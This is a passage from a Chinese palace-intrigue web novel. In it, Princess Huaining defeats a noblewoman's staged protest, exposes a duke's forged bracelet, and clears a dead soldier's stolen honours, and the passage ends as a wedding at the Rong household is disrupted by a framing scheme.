堂侄女睡下以后,张嫣儿靠在颜倾柔的肩头哭得不成样子。 看见嫂子伤心成这样,颜倾柔的心情也不好受。 当然,她并非心疼自己的嫂子,而是心疼自己。 世界这么大,为何单单没有她的容身之处呢? “我听说,害死你堂哥的人是那位怀宁公主,倾柔,我记得你跟我说过,怀宁公主性子恶毒,曾经也害过你。” 颜倾柔一脸伤感的叹气:“我身为颜氏遗孤,皇上看重我,百姓爱戴我,就因为她嫉妒我,就将我害成这样。” 张嫣儿眼珠一转,有了主意。 “此番皇上并未牵连我们母女,正是念及了颜氏一族的功劳,这足以说明,颜氏在皇上心中的地位不一般。” 听出话里有话,颜倾柔立刻问:“嫂子的意思是?” 张嫣儿冷冷一笑。 “这天下是皇上做主,只要皇上赦免你,你就能恢复身份,而皇上看重颜氏先辈,所以,你大可以用颜氏先辈来做文章。” 颜倾柔觉得这个法子有道理,她的脑子转得也不慢,立刻想到了一个精妙绝伦的计划。 次日。 天色逐渐亮起,街上的行人也逐渐多了起来。 大家目视前方,行色匆匆的擦肩而过。 忽然,行人们朝着一个方向看过去,脸色逐渐严肃了起来。 只见马路中央跪着个女子,她一步一叩首,身影充满了悲壮。 随着她超前移动的,还有一个一个的血印子。 此刻这女子的额头已经磕烂。 有那好心人生出怜悯之心,快步上前想要将她扶起来,见她不肯起来,便询问缘由。 只听这女子声音悲愤的说道: “我是颜氏一族的遗孤,我本该得到先辈的庇佑,却因为太过优秀惹了怀宁公主的记恨。 怀宁公主暗中陷害我,让我丢了先辈用鲜血得来的封号,更让我没脸去见先辈。 我要进宫见皇上,我要质问皇上,为何要纵容这样的坏人危害人间!” 此言一出,顿时激起一片惊涛骇浪。 这好心人惊讶的说道:“传言怀宁公主惩奸除恶,是个好人啊,这中间是不是有误会?” 颜倾柔哭着摇头:“没有任何误会!知人知面不知心!她是坏事做多了名声太差了,才会当中做好事扭转名声,以此掩盖自己的恶行!” 见她信誓旦旦,又见她满头鲜血。 这些不明真相的人难免信了几分。 毕竟,若非真的冤枉至此,谁会把自己的头磕成这样。 这些人怀揣着疑惑和愤怒跟在颜倾柔的身边,随着她一步一步到了皇宫前。 御林军将颜倾柔拦住。 “大胆贱民,皇宫重地,不许擅闯!” 颜倾柔泪如雨下:“我的先辈是大周的功臣,他们用生命保卫大周疆土,如今却换来一句贱民,我这个颜家遗孤没有脸面活在世上!” 语毕,她毫不犹豫的撞在了宫墙上。 霎时间鲜血飞溅,颜倾柔的身子像是一片落叶,缓缓倒在了地上。 百姓们瞧见这一幕纷纷生气怜悯之心,他们自发的为颜倾柔讨伐起来。 “颜氏是功臣,不该有此下场,求皇上做主!” “颜氏是功臣,不该有此下场,求皇上做主!” …… 御林军见事情闹大,立刻进宫禀报皇上。 正巧赵皇太后在天和殿的内殿,同皇上说话。 谢烬弦代为禀报时赵皇太后停了个全乎。 赵皇太后倒是不在乎颜氏一族的荣辱,但这件事儿事关乔楹月,她就来了精神。 当即谴责起来。 “乔楹月实在无法无天,连烈士遗孤都敢欺负,长此以往下去,谁还敢为我们乔氏卖命!谁还敢为大周卖命! 皇上,您必须严惩乔楹月!” 乔景琰疲惫的揉了揉眉心,心情十分烦躁。 最近的事儿是一桩接一桩,而且每一桩都和乔楹月有牵扯。 如此便导致他现在想起乔楹月就有些心烦。 赵皇太后觑乔景琰的脸色,察觉到他对乔楹月也有了微词,立刻趁热打铁。 “乔楹月之所以这么放肆,还是皇上平时太宠着了,若是能趁此机会好好责罚她,她定能收敛许多。 哀家也是疼这个皇孙女的,舍不得重罚她,不如便将她送到水月庵觑,让她好好的面壁思过些日子。” 可赵皇太后却已下定决心,只要乔楹月去了水月庵,绝不会让她回来! 第一百二十四章金镯之事 宫门口。 在聚众的人群之外,权晏舟和赵迁儒站在一起,前者一脸精明,后者一脸实诚。 “你的意思是,只要本国公顺水推舟,将怀宁公主定罪,她的金铺便能成为本国公的囊中之物?” 听得赵迁儒询问,权晏舟点头。 “她的金铺之所以能这么挣钱,是因为她的金匠技艺精湛,怀宁公主获罪了,金铺自然黄,届时国公只需要出面收了那金匠,便能挣钱。” 赵迁儒半点没察觉权晏舟在窜拖自己,而是深以为然的点头。 而权晏舟也有些有恃无恐,他完全不怕赵迁儒发现自己的别有用心。 别说赵迁儒,连带他的姐姐赵皇太后,都是不太聪明。 当初后宫中斗争不断,唯有脑子不聪明的赵皇太后平安无事,当然,皇上也不宠她,她膝下又没孩子,根本没人在意她。 后来她收养了还是皇子的乔景琰,乔景琰继位时,后位空悬,于是她这个养母捡便宜成了皇太后。 赵迁儒也因此从一个七品小官成为了如今富贵逼人的国公。 但这国公也只是空有爵位,毫无实权,倒不是他不想争,实在是没那脑子。 于是赵迁儒转移方向,利用身份努力挣钱。 可是世事无常,在做生意上他也没什么脑子,做什么赔什么。 国公的俸禄本可以保他衣食无忧,就是因为他做生意,日子是一天比一天难过。 幸得赵皇太后心疼这个哥哥,隔三差五的接济他,否则这国公府都得被他败光。 而即便如此,赵迁儒也没有放弃做生意的念头。 前些日子乔楹月的金铺日进斗金,他又眼红又不爽。 他久经商场,却处处赔本。 乔楹月一个内宅小姑娘,凭什么能挣这么多银子? 得知乔楹的金子货源是从权家定的,他便传了权晏舟上门,询问他乔楹月挣钱的诀窍,他打算照着去挣钱。 得知挣钱的诀窍是因为那个金匠,他便惦记上了乔楹月的金匠,派了人时刻关注乔楹月。 今早下人禀报了颜倾柔的事儿后,他利用自己敏锐的生意头脑嗅到了机会,于是立刻将权晏舟叫到面前,同他确认金匠的实力。 这会儿从权晏舟口中得到了肯定的答案,他丝毫没有怀疑,甚至有些激动。 做了这么多年的赔本买卖,终于到了他挣钱的时候! 赵迁儒欣慰的拍拍权晏舟的肩膀,“你的功劳本国公放在心里了,日后本国公挣了银子,定不会亏待你!” 赵迁儒大步向前,意气风发的进了宫。 天和殿,内殿。 乔景琰正在思考赵皇太后的话,便听得谢烬弦禀报。 “皇上,平国公求见。” 这可节骨眼求见,所为之事肯定和眼下之事有关。 乔景琰疲惫开口:“让国公进来。” “是。” 不一会儿赵迁儒走入内殿,恭敬的朝着乔景琰行礼。 “臣参见皇上!” “平国公平身,”赵迁儒起身以后,乔景琰沉声问道:“平国公为何事求见?” 赵迁儒一脸惆怅的叹气:“臣是为了怀宁公主而来,皇上应当知道怀宁公主开了一家金铺,说起来皇亲国戚做生意也没什么稀奇,但大家到底顾忌百姓,因此所卖之物要么符合市场价,要么比市场价还要低。 可这怀宁公主倒好,铺子里头的金价比别的金铺高出快一倍! 如此行为实在黑心。那些百姓的血汗钱全都进了她的腰包,她揣着这些银子不仅不拿出一些为大周奉献,反而残害忠良。 臣要谴责怀宁公主的行为! 皇上!臣恳请皇上,关掉怀宁公主的金铺,责令她返还百姓的血汗钱!” 这番话乍一听还真有些大义凛然的味道。 可实际上却只是披着仁义道德的皮囊,行着偷鸡摸狗的丑事。 赵迁儒想让乔楹月的金铺黄掉,他在趁机挖走金匠。 如此,就轮到他来搜刮民脂民膏! 乔景琰本就不喜皇族之人与商人沾染,却也知道,依旧有人暗中经商,只要别闹的太过,他都睁一只眼闭一只眼。 如今赵迁儒将乔楹月经商的事儿捅到了他的面前,他就算有心包容也必须有所表态。 沉吟片刻后,乔景琰吩咐谢烬弦。 “去公主府,将怀宁公主请来。” “是。” 一炷香后,乔楹月站在了赵迁儒的身边。 还在公主府时她便听说了颜倾柔状告自己的事儿,她有的是法子应对,因此并不担心。 谢烬弦来请时,她便猜测是为了颜倾柔。 进宫后看见还有个赵迁儒,她稍微动了动脑子,便明白其中了赵迁儒的花花肠子。 “臣妹参见皇兄,皇孙女参见皇祖母。” 行礼后,她主动跟赵迁儒打起了招呼。 “平国公竟也在此,好巧呢,不知平国公前来见皇兄所为何事?” 赵迁儒冷哼:“本国公前来向皇上禀报着盛京城内的恶行!” “平国公细说说?” “既然公主让本国公说,本国公便说了!公主的金铺价格高昂,此举违背了道德伦常,本国公希望公主认清错误,早日将金福来关闭,还盛京一个干净的环境!” 乔楹月挑眉:“听说平国公也开过金铺,因为金价太贵,手艺不精,还卖假金,最终铺子黄了。 本宫以为像平国公这种毫无道德之人应该待在家里闭门不出,倒也是本宫想得太好,平国公的脸皮是比铁还要硬。” 赵迁儒没想到乔楹月竟敢当众揭自己的短,他好歹算是她的长辈,简直毫无尊老爱幼之心! “乔楹月!你别欺人太甚!” 乔楹月冷笑,从袖中拿出一个荷包,双手放在了乔景琰的面前。 “皇兄,这荷包里头的金镯正是平国公的金铺所买,皇兄看看镯子内圈的刻印,便能明白臣妹的良苦用心!” 乔景琰脸色严肃的从荷包中取出镯子,竖起来看向内圈,顿了一会儿,随后勃然大怒。 “赵迁儒,你胆大包天!” 沉重的金镯被掷到赵迁儒脸上,砸断了鼻梁,两个鼻孔疯狂淌血。 他不敢出声,只敢用袖子捂住鼻子,低着头不敢说话。 赵皇太后心疼不已,正要质问皇上此举为何,便听到乔楹月说话。 “赵皇太后怕是还不知道,当初平国公献给太后的镯子,其实是平国公自己的金铺伪造的,那符咒也是平国公塞进去的。” 第一百二十五章一对蠢货 赵皇太后怀疑乔楹月诬陷,但当看见赵迁儒低眉垂眼的心虚样儿后,立刻明白他半点没有被冤枉。 一时间,她不知是该生气,还是该委屈。 这个蠢弟弟,成事不足败事有余! 可赵皇太后很清楚,即便这桩蠢事是自己的弟弟所为,她也不能允许乔楹月在自己面前耀武扬威。 她必须打压这个小丫头! “赵迁儒,你告诉哀家,那镯子是不是底下人瞒着你伪造的?” 听出姐姐在帮自己,赵迁儒连忙点头:“对,正是如此!” 赵皇太后又问:“符咒的事儿,你可知道?” 赵迁儒连忙摇头:“臣半点不知!” 赵皇太后一脸委屈的看向乔景琰。 “无论如何,都是哀家这弟弟犯了蠢,皇上看在哀家的面子上轻些罚吧。” 当初赵皇太后是从一众皇子之中,挑了最没有能力的乔景琰,乔景琰是跟在赵皇太后身边以后才能吃饱穿暖,才不受人白眼。 这份恩情让乔景琰始终对赵皇太后存着尊敬之心。 这会儿赵皇太后让他看她的面子,他当然不能真的处罚。 乔景琰缓缓开口:“平国公并非有心,这次便算了。” 赵皇太后很满意这个结果,得意的撇向乔楹月。 “怀宁公主可还有想说的?” 这话的另外一层意思是,乔楹月,你能奈我何? 乔楹月本就没打算让赵迁儒真的受罚,这份挑衅对她无用。 但这次若不给赵皇太后一个下马威,往后她定会处处寻她的麻烦。 “皇孙女恰好还有一句话想说,颜倾柔所犯之事证据确凿,皇孙女陷害她是子虚乌有,她此举明显是利用百姓的无知挑拨君臣的关系。 此心险恶,罪该万死。 而平国公早不进宫晚不进宫,偏偏赶在颜倾柔闹事时进宫,本宫很难不去怀疑平国公和颜倾柔之间有勾结。” 赵皇太后心中一惊,怒道:“乔楹月,你休要胡说!” 乔楹月眨巴眼睛,一脸无辜:“自古以来外戚干政是大忌,平国公能力不济揽权不成便搅动君臣关系,如此一来,倒也能解释今日之事。” 此言一出,乔景琰的脸色明显变了。 赵皇太后的心快要吓掉。 乔景琰对她这个养母再是尊敬,也绝对不会允许自己权威受到威胁。 即便乔楹月故意诬陷,在乔景琰看来,事儿也确实太过巧合,不得不怀疑。 赵皇太后当机立断的表态。 “怀宁公主此言倒是提醒了哀家,这个颜倾柔行为不端作恶多端,定是她故意算计平国公,哀家绝对不会允许此事发生! 哀家请求皇上狠狠惩罚颜倾柔!” 乔景琰眼底的冷肃却并未因此散去,他静默片刻,沉声交代乔楹月。 “颜倾柔闹事背后必有人在推波助澜,怀宁,朕便将这件事儿交给你,你代朕查明此事!” 此话无疑是告诉赵皇太后,比起她这个养母,乔景琰更信任乔楹月这个妹妹。 赵皇太后的脸色奇差无比,离开天和殿后,她忍不住朝着赵迁儒的屁股踹了一脚。 “哀家真是得了个好弟弟!” 赵迁儒又尴尬又恼火,暗暗恨上了乔楹月。 这厢,乔楹月走出皇宫,便见宫门外依旧聚集着百姓。 撞墙昏迷的颜倾柔这会儿醒了过来,不过看样子身子十分不适,依旧躺在地上。 张嫣儿跪坐在她身边,心疼的将她的头抱到腿上,哭着朝围观的百姓诉说。 “颜家世代忠良,可自从得罪了怀宁公主,便一个一个落得不好的下场。 我的妹妹本事护国长公主,却被贬为庶人。 我的丈夫本是抗敌英雄,却被斩首。 就连我! 我跟着丈夫在卞城一过就是五年,那儿条件艰苦,我苦苦扛着,好不容易熬过了所有的苦,过上了好一点的生活。 却一夜之间成为寡妇,带着年幼的女儿住进了北城的破房子里头。 我颜家命苦啊!!!” 颜倾柔哭着抓住张嫣儿的袖子,“嫂子别说了,这天下都是乔家的,我们这些平头老百姓根本没有说话的地儿,我怕再说下去,我们都得死。” 在场的都是平头老百姓,此言一出,这些人立刻共鸣起来。 不过这些人也不傻,如今盛京都传乔楹月惩奸除恶,他们也知道了未知全貌不予置评。 于是这些人压抑怒火,等待着乔楹月出面给个说法。 乔楹月进宫时这些人都瞧见了,这会儿大家齐齐望着宫门,等着她出来。 不一会儿,乔楹月的身影从宫门中走了出来。 百姓们目光齐聚,眼神愤怒。 乔楹月走到众人面前,扫了一眼倒躺在地上的颜倾柔。 满脸血迹,模样十分可怜。 与她对上视线时,她的眼底浮现浓浓的恐惧,瑟瑟发抖的抱住张嫣儿,哭着请求她。 “嫂子,我们快走吧,我不想死!” 这般模样不得不让人怀疑,只要是得罪了乔楹月的人,最终都会惨死。 乔楹月冷笑。 “你若真的怕死,便不会闹这一通,颜倾柔,本宫若真是心狠手辣之人,你只怕早就成了一捧黄土。” 围观的百姓闻言皆觉得在理。 乔楹月继续道:“正好你找上门来,也正好大家都在,本宫便将一桩陈年旧案处理了。” 颜倾柔不明白她在说什么,眼神有些茫然。 乔楹月吩咐林酒。 “去,将向全请过来。” 林酒应是,转身离去。 半炷香后,向全一步步走过来。 人群自动分开一条道,他穿过人群,来到了乔楹月的面前。 “草民拜见公主!” “免礼,”乔楹月的目光落在他的身上时,锐利消失,温和极了,“你伸冤多年无果,如今仇人的女儿就在眼前,你便当众说出你的委屈来,在场的百姓自会为你做主。” 这些百姓们打眼一瞧,顿时有人认出了向全,不免嘀咕。 “他不是那个老疯子吗?莫不是他的胡言乱语被公主误信了吧?” “大家都知道他疯,倘若怀宁公主真的信他的疯话,定会成为盛京的笑话。” …… 向全不理会这些议论,他缓缓开口道出了自己的冤屈。 第一百二十六章证据确凿 “我是平州凉县人士,祖上靠武行讨生活,我儿名叫向定军,自小跟在我身边习武,对兵书十分有见解。 十五年前他参了军,仅三年时间,他便在军中崭露头角,靠自己的努力成为了千夫长。 对比盛京城的达官贵人而言,他的官职并不高,但在我这个父亲心中,他极有出息,是我的荣耀。 十二年前,东陵大军来犯,他跟随颜奉良抵抗东陵大军,因为东陵军势如破竹,而颜奉良错估局势,导致卞城陷入水火。 我儿带着士兵回城时被关在城门外,而颜奉良则带着家眷和亲卫从其他城门逃离。 敌军提前料到他的逃离方向,半途将之抓获。 我儿得知这个消息却并未放弃,带着人和敌军周旋,最终以一腔孤勇将敌将斩杀于脚下。 我儿抓住东陵放在军中历练的皇子,作为交换筹码,让东陵军撤退,并将被俘的颜奉良解救。 彼时颜奉良身受重伤,奄奄一息,我儿守在身边照顾,却还是无力回天,颜奉良死后,他的亲卫忽然将我儿扣下,不由分说将他关押。 不出三日,我儿被折磨而死,而卞城这一战最大的功臣成了颜奉良!” 说到此处,向全早已麻木的脸上忍不住露出愤恨。 “幸得我儿在军中有相熟之人,他将自己的遭遇写成血书,交给此人带出军中,交给了身在汴州城内的妻子。 我这儿媳千里迢迢来到凉县,将真相告知于我,我心痛难忍,当即背上行囊来到盛京为我儿伸冤。 可我无能! 十二年过去了,我儿依旧沉冤黄土!” 向全的声音落下以后,现场鸦雀无声。 百姓们看着这位父亲脸上流露出来的复杂情感,纷纷动容。 颜倾柔愤怒斥道:“胡说八道!你的话中处处是漏洞! 向定军不可能带着妻子参军!” 向全愤怒的盯着她:“她只是与我儿相识,我儿死后她与他的血书拜堂,成为了他的亡妻!” 和亡人拜堂,成亲即是寡妇。 该有多深的感情才能做出如此举动。 颜倾柔不懂这种情感,因此她认定向全所言皆是捏造。 “空口无凭,除非你将那女人找来,交出血书,否则便是血口喷人!” “那女子本宫已经寻来,”乔楹月冷冷看着颜倾柔,“血书也一并带来。” 在她的话音落下之际,一个盘发妇人穿过人群,走到了众人面前。 她身形消瘦,面容憔悴,但从眉眼中依旧能看出年轻时的标致。 和向定军相遇时她还是如花少女。 如今已是半老徐娘。 “民妇拜见公主。” “免礼!” 水韵直起身,被岁月欺负过的脸上透着历经沧桑的平静,她缓缓从袖子中拿出一块白布。 摊开来。 血迹斑斑。 “颜奉良决策失误,导致卞城失守,竟弃城逃跑,我奋力杀敌,救下卞城,救回颜奉良,他身死之际命人将我关入大牢,并伪造捷报抢我军功。 如今我已没有活路,我不愿颜家这样的败类为祸人间,颜奉良做的事儿只要在军中打听一番,知晓之人比比皆是。 水韵,你将这封血书交给我爹,我爹一定会帮我伸冤。 水韵,下辈子我娶你。” 念出最后一句话时,水韵平静的情绪终于崩溃,眼泪如断线珍珠般往下掉。 百姓们静默无声,同情的看着这个为了情郎老了容颜的女子。 颜倾柔气的站了起来,大声质问水韵。 “这种血书想要伪造轻松极了,这里可是盛京城,你以为这种小伎俩就能瞒天过海?” 水韵瞧着她半晌,忽然伸手甩了她两个巴掌。 这两个巴掌掷地有声,干脆利落。 颜倾柔捂着脸半晌才反应过来,反手想打回去,被乔楹月捏住了手腕,她重重甩开颜倾柔的手,冷声警告。 “手不想要的话,便动手试试。” 颜倾柔被她话中的寒意吓到,不敢放肆,咬牙说道:“这种血书不足以做为证据,公主若真的认为我颜家有罪,便要拿出更有力的证据!” “证据自然有,很多,很全面。”乔楹月看向水韵,“本宫在此,很安全,你放心大胆的取出证据。” 水韵用力点头,竟是当众脱下了自己的夹袄,用牙咬着撕开。 只见这夹袄里头竟然藏着好几封信。 她将信递给乔楹月,颤声说道:“这几封分别是颜奉良和亲卫勾结、和盛京的亲信串通的书信。 书信是颜奉良亲手所写,上头还盖有他的私章,旁人无法伪造。 这些书信是定军的兄弟悄悄得到,连同血书一起递给我,这十二年来我一直将之藏在衣裳中,随时准备着为定军伸冤!” 乔楹月仔细读了这些信,信中,颜奉良见利忘义,视人命如草芥,字字句句让人愤怒。 “看来颜崇业抢夺军功,残杀士兵的事儿是遗传呢,颜家从根上就是臭的,子孙便也是臭的!” 听出乔楹月在辱骂自己,颜倾柔羞辱难当,咬着牙说道:“这些信是否真实公主说了不算,得皇上亲自查看才算公正!” “本宫自然要将信交给皇兄查看,本宫会用大周的律法还英雄公道!谢大人,还请将这些信送到皇兄手中!” 谢烬弦清楚这件事儿非同小可,郑重的接了信,快步送往乔景琰面前。 一盏茶后,谢烬弦带着两道圣旨小跑回来。 他冷着脸当众宣读圣旨。 “奉天承运, 皇帝诏曰!颜奉良抢夺军功,残害忠良,罪恶滔天!今日起,颜家不在是大周烈士! 颜倾柔聚众闹事,诬陷怀宁公主,罪不容恕,当处以重刑,即日起关入大牢,永不得释放!以此警告后世!钦此!” 颜倾柔眼前一黑,当场昏死。 谢烬弦又拿出一道圣旨,面露微笑的朝着水韵和向全两人宣读。 “奉天承运,皇帝诏曰!向定军英勇无匹,乃大周男子典范,朕追封向定军为辅国公! 水韵有情有义,朕赐封她一品诰命夫人!钦此!” 向全激动流泪。 水韵无声流泪。 两人齐齐跪下接旨。 第一百二十七章沉冤得雪 牵扯颜奉良一案的一干人等全部获刑。 皇上直接将从前抄没的护国长公主府赐给了向全。 向全转手将宅子送给水韵。 他前来同乔楹月辞别。 “家中还有妻子等着草民,草民今日便启程回家。” 乔楹月派了林酒相送。 向全的事儿落下来尘埃,颜倾柔这边却还在牵扯。 颜倾柔当天就被送到了监牢。 说来也巧,送入的监牢正好是秦拂郁所在的那一处。 自从庄秋来过以后,秦拂郁便盼星星盼月亮的等着颜倾柔来接他离开。 当颜倾柔走进监牢的一瞬,他激动的站了起来,双手抱着牢门朝着她大喊。 “倾柔!我在这儿!” 颜倾柔低着头,没理睬他。 担心她改变主意不救自己出去,秦拂郁赶紧跟她套近乎。 “倾柔,我们好歹也是,也是叔嫂关系,你可不能过河拆桥啊。” 他想说的是一夜夫妻白日恩,但是这么多人在场,他怕颜倾柔直接翻脸走人。 眼看颜倾柔走到了自己的牢房前,他得意的冲狱卒吩咐。 “还不快些将我的牢门打开!” 这狱卒撇他一眼,没理睬他,打开他旁边的牢门,将颜倾柔丢了进去,锁上牢门转身离去。 直到狱卒走远了,秦拂郁才渐渐反应过来。 “你不是来救我,是你也被关进来了?” “是啊,我被关进来了,你很失望吗?” 颜倾柔抬起头看向他,脸上血淋淋,眼神阴狠怨怼,像地狱索命的恶鬼。 秦拂郁不明白。 “怎么回事儿?你堂哥可是抗敌英雄,皇上不看僧面也要看佛面,是不是你自己犯贱,激怒了皇上?” 认真来说,颜倾柔还真的自己犯贱将自己折腾进来了。 原本她可以住在北城的小破屋子里,人生还有无限的可能。 就是听了嫂子的提议,她一通折腾,为自己挣来了这么个结局。 后悔已经来不及,眼下她只觉得累。 很累。 似乎如何折腾,都逃不出乔楹月的手掌心。 她想不明白,原先自己局面大好,到底是哪一步出了错,竟落到了眼下的地步。 颜倾柔屋里的滑坐在地,抱着腿,任由秦拂郁如何说话,她都不在理会,只一个劲儿的发怔。 秦拂郁一肚子火,癫狂的捶打牢笼,试图冲过去颜倾柔问个清楚。 同牢的犯人早就被他吵的不耐烦,冷着脸警告他。 “这儿又不是只有你一个犯人,你能不能为别人考虑考虑?” 秦拂郁口不择言的斥骂:“都下大狱了,还考虑个鸡毛,老子要你们全都去死!” 这人火了,旁边被波及的人也火了,当即一拥而上,对着他拳打脚踢。 狱卒在外头眼睁睁看着,没有任何要阻止的意思。 这些人也怕真的闹出人命,发现秦拂郁不动以后便停了手。 见秦拂郁躺在地上,眼睛闭着,像是没了呼吸,这几人心中一慌。 其中一个战战兢兢去探鼻息,秦拂郁陡然睁开了眼。 “啊!” 这人吓的跌坐在地。 眼见秦拂郁默默从地上站起来,他当即臭骂。 “混账玩意儿,打不过就装死吓大家,等你好了老子继续打你!” 秦拂郁一言不发的抿着唇,不理会此人的威胁,而是仔仔细细的打量周围,像是第一次看见一般。 最后他的目光落在隔壁牢房的颜倾柔身上,眼神中的茫然慢慢消失,他看颜倾柔的目光不再愤怒,而是充满了冷厉。 “颜倾柔。” 颜倾柔这会儿终于有了反应,抬眼看过来,冷声问他:“怎么?你还想被打一顿?” 秦拂郁竟是轻笑起来,血肉模糊的一张脸透着不一样的沉着。 他压低声音对她道:“我有法子可以让我们一起出去。” 颜倾柔笑出声:“我看你是被打傻了!” “你难道不想赌一把?” 不得不说,秦拂郁大概是这世上最了解颜倾柔的人,他的一句话让颜倾柔的眼神松动。 见她看过来,秦拂郁沉稳笑着,朝她招手:“过来说话。” 颜倾柔抿着唇靠过来。 秦拂郁压低声音在她耳边说道:“你身上可有值钱之物,我需要往外递一封信。” 颜倾柔盯着他看了好一会儿,最终咬牙从衣裳里头拿出一小块碎金子,见秦拂郁伸手来拿,她往后躲了一下。 “不骗我?” “真不骗你。” 秦拂郁用这块碎金子递出一封信,接到信的,正是和紫苑见面的神秘人。 次日清晨,狱卒打开牢笼,放出了秦拂郁,恶声恶气的说道:“你也是赶上好时候了,东山匪徒猖獗,朝廷缺人手,皇上下令让犯人戴罪立功,若你能剿匪有功,说不定能走出这座监牢。” 秦拂郁回头,看见监牢之中还有许多人被放出来。 这些人都是身怀武功者。 看来是神秘人出手了。 “拂郁!一定要回来接我!” 颜倾柔趴在牢门上望着秦拂郁,眼神充满恳求。 秦拂郁冲她笑了笑,毫不犹豫的扭头离去。 看着男人走出大牢,身影陷入骄阳的光影之中,颜倾柔的心没来由的不安定。 这一次,他应该会兑现承诺将她救出去吧? 秦拂郁从大牢出来后,右手手腕被带了一个坚硬的铁锁。 这铁锁之上写了‘重刑犯’三个字。 狱卒提醒他:“这个锁的钥匙只有姬大人才有,秦拂郁,除非你逃到山里去,否则一辈子脱不开戴罪之身。” 秦拂郁出来是为了好好活着,怎么可能逃。 朝廷派了兵,将这些重刑犯全部送到了东山剿匪。 乔楹月得到了这个消息时直皱眉。 看来这又是秦拂郁的计谋。 不过也只是垂死挣扎罢了。 她没将秦拂郁放在心上,转头去了库房,挑了一件合适的贺礼,前往容府。 今日是容明月大婚的日子,新郎是盛京有名的才子,名叫楚怀,模样英俊,家世和容府不相上下,二人十分般配。 乔楹月到了容府,送上贺礼,不一会儿新郎来接亲。 容明月待在自己的闺房,新郎需要前往闺房,亲自将她牵出来。 原本气氛十分热闹,却因为新郎忽然不见而陷入了僵宁。 而此刻的后罩房中,楚怀站在屋中,容旖纾衣裳半湿的靠在他胸口。 “怀哥哥,今日可是你成亲的日子,你可真坏啊~” 第一百二十八章婚礼怪事 屋外传来几道脚步声,紧接着屋门被人从外面推来。 阳光照进来,楚怀忍不住眯眼,便听到混乱的尖叫声。 “啊!姑爷您在做什么!” 楚怀一怔,低头看向手中,他正拿着一副画像,画像上画的人…… “那是二小姐的画像,三姑爷接亲时忽然消失,如今找到时竟拿着二小姐的画像,三姑爷难道……暗中觊觎二小姐!” 下人的惊呼将容府的主子以及宾客全都引了过来。 容明月掀开红盖头冲入屋内,看见楚怀手中依然拿着庶姐的画像,当场哭了出来。 “楚怀!你觊觎我庶姐!” 她哭的更多是委屈。 是谁都好,为何偏偏是这个庶姐。 往后这庶姐在她面前不知道得意成什么样! 楚怀赶紧丢开画像,慌乱的上前扶住容明月的肩膀。 “明月,这一切都是误会,我没有做过对不起天地良心的事儿!” 容明月质问:“那你在这里做什么?” 楚怀却支支吾吾:“我、我想不起来。” 容明月用力甩开他的手,骂道:“你就是觊觎我庶姐,你跟她在这里私会!” 此言一出,周围想起一道道惊呼。 婚礼当日和自己的大姨子暗中相会,这是乱伦啊! 容太尉脸色阴沉如水,冲着容旖纾怒喝。 “容旖纾!你过来解释清楚!” 这会儿容旖纾早已吓得脸色惨白,她哭着冲容太尉摇头。 “爹,女儿绝对没有做过违背良心的事儿。” 容太尉一巴掌甩在她脸上,斥道:“还有脸哭?一个巴掌拍不响,若非你勾引,他怎会乱了分寸!” 容旖纾捂着通红的脸颊,哽咽道:“我和楚公子从未见过面,便是今日,我也从未单独见过他,爹若是不信大可以问柳小姐,我们一直在一起。” 那位柳小计赶紧出来作证。 “容伯父当真误会二小姐了,今日和二小姐在一起的不止我,还有其他几位小姐,我们都可以为二小姐作证!” 人群之中立刻走出来几位小姐,她们纷纷为容旖纾作证。 容太尉这才反应过来自己冤枉了女儿,看着女儿被自己打肿的脸,他心下愧疚不已。 这时那柳小姐在旁边为容旖纾鸣不平。 “二小姐虽是乡下长大,礼数规矩却比盛京养大的还要周到,二小姐的才情也好,美名远播,盛京之中爱慕二小姐的男人像那天上的繁星,数都数不清。 依我看,这位三姑爷怕是一直痴恋二小姐,就连娶三小姐也是抱着离二小姐近一些的肮脏心思。 他趁着接亲时悄悄离开,来到这后罩房,抱着二小姐的画像,不知道做了什么龌龊事。” 此言一出,立刻得到大家的赞同。 毕竟在大家心目中容旖纾的人品是有保证的,楚怀为她疯狂一点儿也不奇怪。 这位三小姐模样美则美矣,品性和气质都不及二小姐,楚怀在婚礼当日抛下她也不是什么稀奇事。 这事儿怪只能怪三小姐魅力不够,留不住男人。 宾客们交头接耳,议论纷纷。 这些声音落入唐毓秀耳中,将她气的不轻,别人以为容旖纾是个好东西,可只有她知道她是个贱蹄子! 今日之事肯定是她一手策划,目的就是让自己的女儿出丑,成为盛京笑柄! 唐毓秀忍着火对楚怀说道:“娘相信你肯定是无辜的,楚怀,你别着急,慢慢说清楚到底发生了什么。” 楚怀仔细回想。 先前他随着好友一同前往容明月的闺房接亲,闺房的门紧闭着,只能从窗户进入,他便从屋侧绕到后窗。 半路遇到了容旖纾,他不认识她,她主动告知身份,并友好的告知他进入容明月闺房的捷径,他便跟着她去了。 他跟着她进了一间屋子,然而屋子中发生了什么,容旖纾的画像为何在手中,这些他全都没有印象。 这会儿面对大家谴责的目光,楚怀很着急,却无从辩解。 “我真的什么都不记得,不过我可以对天发誓,我没有做过违背天地良心的事!” 他的表情十分诚恳,不禁叫人猜测这里头是否存在误会。 不过大家的猜测被一道哭声打断。 众人定睛看去,便见容府那位庶出二小姐捂着脸,哭得身子如花儿办乱颤,哽咽的声音更是可怜无比。 “都怪我,全都怪我,若非因为我,妹妹的婚礼不会弄成这样,我是个罪人! 爹,我没脸继续待在府中,您还是将我送回乡下去吧!” 容太尉看着女儿自责的模样,原本心里是有几分迁怒她,可这会儿他的心中只剩下怜悯。 优秀不是她的错,这件事怪只能怪她这亲手教导长大的女儿不够优秀。 今日他的老脸是被三女儿给丢光的! “明月,你姐姐因为你的事儿受了天大的委屈,这会儿要回去乡下了,这事儿是你对不起她,你好好向你姐姐赔罪,让她好安心留在府中。” 容明月不敢置信,怀疑自己听错了。 婚礼被破坏的事她。 最丢人的是她。 而现在父亲却让她来道歉。 还是给容旖纾这个罪魁祸首道歉。 “爹!您难道看不出来吗,今日的一切都是容旖纾的阴谋!” 这番话让容太尉彻底对这个三女儿失望。 眼下他已是丢人丢到家,不能让事情继续恶化下去,只有容明月道歉,才能稳住局面。 容太尉强势的命令容明月,“现在道歉!必须道歉!” 到了这一刻,容明月才彻底明白容旖纾做这一切的目的。 不单单只是毁掉她的婚礼,她还要毁掉她。 今日她若是向她道歉,往后便一辈子在她面前矮一截。 这个歉她不能道,大不了离开容府,远走他乡算了! “这歉我不会道的,我……” “明月别激动,本宫觉得你不该道歉。” 就在容明月快要说出意气之言时,一直没言语的乔楹月忽然出声。 众人的目光当即落在她身上,同时深深的皱起了眉头。 人家容家的家世,这位怀宁公主插手什么,而且这事儿明显就该容明月道歉,她的行为像根搅屎棍! 